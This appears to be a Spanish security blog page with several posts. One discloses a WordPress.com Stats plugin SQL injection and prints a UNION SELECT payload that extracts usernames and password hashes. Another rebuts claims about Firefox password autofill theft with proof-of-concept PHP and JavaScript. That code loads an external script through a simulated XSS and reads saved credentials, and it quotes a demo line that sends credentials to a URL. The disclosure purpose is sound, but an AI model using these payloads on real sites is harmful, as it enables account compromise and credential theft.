Categories
Sql Injection Web WordPress

SQL Injection en el plugin de estadísticas de WordPress.com

Todos aquellos que estén usando el plugin de estadísticas de WordPress.com, es recomendable que desactiven cuanto antes el mismo, porque incluye una vulnerabilidad bastante grave que permite a un atacante remoto obtener las credenciales de cualquier usuario conociendo sólo su ID.

Detalles de la vulnerabilidad

El mencionado plugin registra dos nuevos métodos en el servidor XMLRPC que todo blog con WordPress tiene, éstos son wpStats.get_posts y wpStats.get_blog -- internamente implementados por stats_get_posts y stats_get_blog respectivamente. El que más nos interesa en este caso, es la función stats_get_posts:

[php start=1]function stats_get_posts( $args ) {
list( $post_ids ) = $args;

$r = 'include=' . join(',', $post_ids);
$posts = get_posts( $r );
$_posts = array();

foreach ( $post_ids as $post_id )
$_posts[$post_id] = stats_get_post($post_id);

return $_posts;
}[/php]

A simple vista se puede ver que no existe ningún tipo de validación en los parámetros que esa función recibe, y como mencioné en ocasiones anteriores, usar esta forma (query string) para pasar parámetros a otras funciones es bastante peligroso, porque permite a un atacante modificar a su gusto los valores.

Por ejemplo, si hacemos que $post_ids contenga algo como:

code:

5&meta_key=%27) UNION ALL SELECT 1,2,3,4,5,user_login,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,user_pass,23,24,25,26,27,28 FROM wp_users/*&meta_value=1

El valor de la variable $r será:

code:

$r = 'include=5&meta_key=%27) UNION ALL SELECT 1,2,3,4,5,user_login,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,user_pass,23,24,25,26,27,28 FROM wp_users/*&meta_value=1'

Haciendo unos cambios en el valor de $post_ids se recupera toda la lista de usuarios con sus respectivas contraseñas en MD5, pero para obtener estos valores todavía hay que tener en cuenta las líneas 6, 8 y 9.

Dejo intencionalmente incompleta la prueba de concepto y exploit como reto para los que le gustan estas cosas y como medida de protección de los script kiddies.

Categories
.NET Miniposts

Visual Studio 2008 (Orcas) – Beta 2

S. Somasegar anuncia que ya está disponible para descarga la beta 2 de Visual Studio 2008 (a.k.a Visual Studio Orcas):

Imágenes para Virtual PC

Categories
.NET Utilidades

Reflexil, modifica ensamblados .NET desde Reflector

En un comentario del artículo donde mencionaba algunas características de Cecil, me hacían conocer la existencia de NetDasm, que es una herramienta para modificar ensamblados .NET. Semanas después, supe de la existencia de Reflexil, que a diferencia del anterior, éste es un plugin para Reflector

Reflexil, modifica ensamblados .NET desde Reflector

En la última versión, este plugin permite modificar el código tanto en IL como C#. Pueden descargar los binarios o el código fuente.

Categories
Perú Seguridad Web

Atacan portal de la Presidencia de Perú

Al parecer, el portal de la Presidencia de Perú sufrió ataques el día de ayer por parte de [posibles] crackers chilenos.

Piratas informáticos supuestamente chilenos atacaron en dos oportunidades el portal de Internet de la Presidencia de Perú y reemplazaron la imagen del jefe de Estado, Alan García, por la del libertador chileno Bernardo O’Higgins, informaron fuentes oficiales.

EFE.- Junto a la imagen de O’Higgins se leía: “¡Viva Chile!”, dijo hoy a Efe una fuente de Palacio de Gobierno.

En el primer ataque a la página oficial, que se produjo a las 13.00 hora local (18.00 GMT) del martes, se colocó una imagen ininteligible de colores verde fosforescente y negro, que fue después eliminada por los técnicos de Palacio, agregó la fuente.

En la segunda intervención informática, que se registró alrededor de las 19.00 hora local (00.00 GMT) del miércoles, se colocó la foto del libertador chileno, que también fue retirada del portal gubernamental.

Expertos informáticos del gobierno y de la empresa Telefónica del Perú investigan los hechos, manifestó la fuente de Palacio.

Más allá de esta triste noticia y los extraños motivos de los atacantes, recuerdo que hace tiempo envié un mail al webmaster de este portal conteniendo un -- pequeño -- reporte de las vulnerabilidades que había encontrado, pero jamás obtuve una respuesta. Hoy, luego de leer sobre el incidente y revisar esa página, veo que algunos problemas que reporté todavía siguen sin corregirse.

Lo más probable es que este incidente se vuelva a repetir si no toman las medidas adecuadas no sólo en este portal, sino también en muchos sitios de instituciones que pertenecen al gobierno -- que además de pasar por alto los estándares de accesibilidad y usabilidad, como se puede apreciar en este tipo de incidentes, son muy inseguros.

Categories
Firefox Seguridad

Firefox y el robo de contraseñas

Actualización: Al parecer Firefox 2.0.0.6 RC1 y RC2 corrigen entre otras cosas, la ejecución remota de programas y esta vulnerabilidad.

A través de menéame, llegué a leer un artículo en el que intentan minimizar el impacto de la vulnerabilidad que permite el robo de contraseñas en Firefox. Haré algunos comentarios citando partes del contenido (negritas agregadas intencionalmente):

Veamos la demostración que nos proponen realizar:
http://www.heise-security.co.uk/services/browsercheck/demos/moz/pass1.shtml

[...]

No hay dudas de que la demostración realiza esto en caso de que hayamos indicado a Firefox que recuerde nuestra contraseña el momento de ingresarla. Sin embargo la demostración se está realizando en el mismo dominio y subdominio. Que sentido tiene esto si estamos en el mismo sitio? Acaso el sitio se roba a su propio sitio?

Para explotar esa vulnerabilidad de Firefox, sólo basta encontrar un bug XSS en cualquier parte de ese dominio (ver demo más abajo).

Ahora veamos el código del formulario de la demostración:

code:

<form method=”get” action=”#” name=”passtest”>
<input type=”text” name=”name”/>
<input type=”password” name=”password”/>
<input type=”submit” value=”submit”/>
</form>

Si vemos el código fuente de la "evil page", vemos un formulario similar con los mismos nombres de campos que el anterior.

Al ingresar los datos en el formulario de la demostración, se verá la siguiente URL tanto en Firefox como en Opera y IE7:

code:

http://www.heise-security.co.uk/services/browsercheck/demos/moz/pass1.shtml?name=miusuario&password=micontrase%F1a#

Para que es necesaria una “evil page” que revele las contraseñas si estas están siendo ya reveladas en la URL? Solo vean la barra de direcciones.

Por otro lado, yo me pregunto: acaso algún sitio serio va a implementar un sistema de contraseñas sin utilizar SSL? Es una locura, además sería responsabilidad del sitio que lo implementa y no del navegador. Ningún sitio en serio implementará contraseñas de ese tipo.

El redactor interpreta mal la prueba de concepto, porque en nigún momento usa la URL para obtener las credenciales, usa el siguiente script:

javascript:

<script>
// setTimeout("dosubmit()", 1000);
setTimeout("doit()", 1000);

function dosubmit()
{
  document.passtest.submit();
}

function doit()
{
   name = document.passtest.name.value;
   password = document.passtest.password.value;
   alert("Your username is: " + name + " and the password is: " + password);
   //document.location = "http://www.heise.de/security/dienste/browsercheck/demos/nc/psteal2.php?name=" + name + "&password=" + password;
}

</script>

Por otro lado, para explotar esta vulnerabilidad dá lo mismo si se usa SSL o no.

También me pregunto: es esta una demostración real o un simple truco? La demo corre en el mismo dominio y mismo subdominio. Si creamos una “evil page” en otro servidor, la demostración no funcionará.

Aparentemente el redactor no captó bien lo que se comenta en la página que describe ese bug o entendí mal sus palabras y no está consciente de los peligros de Cross Site Scripting. Preparé un pequeño demo en el que se simula que la página tiene una vulnerabilidad XSS y se hace uso de ésta para mostrar las credenciales almacenadas en Firefox:

php:

<?php header('Content-Type: text/html; charset=utf-8;'); ?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
    "http://www.w3.org/TR/xhtml1/DTD/xhtml-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
    <title>Firefox Demo</title> 
</head>

<body>
        <?php
        if ( isset($_GET['evil']) ) :
                /* Página vulnerable a XSS, podría ser cualquier página del dominio
                   para el que se guardan las credenciales */

                // echo $_GET['evil'];
                echo '<script src=http://codeout.org/wp-content/uploads/j.js></script>';
        else : ?>
    <form method="post" action="login.php">
            <input type="text" name="usr" />
                <input type="password" name="pass" />
                <input type="submit" name="login" value="Login &raquo;" />
        </form>
        <?php endif; ?>
       
</body>

</html>

El parámetro evil sirve para emular un bug XSS (por motivos de seguridad no envío ningún valor de evil al navegador), usando este parámetro se podría cargar el siguiente script en una página vulnerable:

javascript:

_c = function (tag, attr) {
        el = document.createElement(tag.toUpperCase());
        if (attr) for(k in attr) el[k] = attr[k];
        return el;
}
// Crear un formulario con los mismos nombres
var form = _c('form');
var user = _c('input', {type:'text', name:'usr'});
var pass = _c('input', {type:'password', name:'pass'});

form.appendChild(user);
form.appendChild(pass);
document.body.appendChild(form);

function showCredentials() {
        alert('Usuario: ' + user.value + ' -- Password:' + pass.value)
}

setTimeout("showCredentials()", 1000);

Esta prueba de concepto fue ejecutada con éxito en Firefox 2.0.0.5 y Windows XP (SP2), para reproducir este error primero tienen que guardar la contraseña para el siguiente formulario, si quieren ver vuestras credenciales almacenadas accedan a http://test.buayacorp.com/login.php?evil o http://test.buayacorp.com/fx.html.

Lo único acertado que veo en el artículo en cuestión, es la recomendación que se hace para establecer en false el valor de signon.prefillForms en la configuración de Firefox (about:config).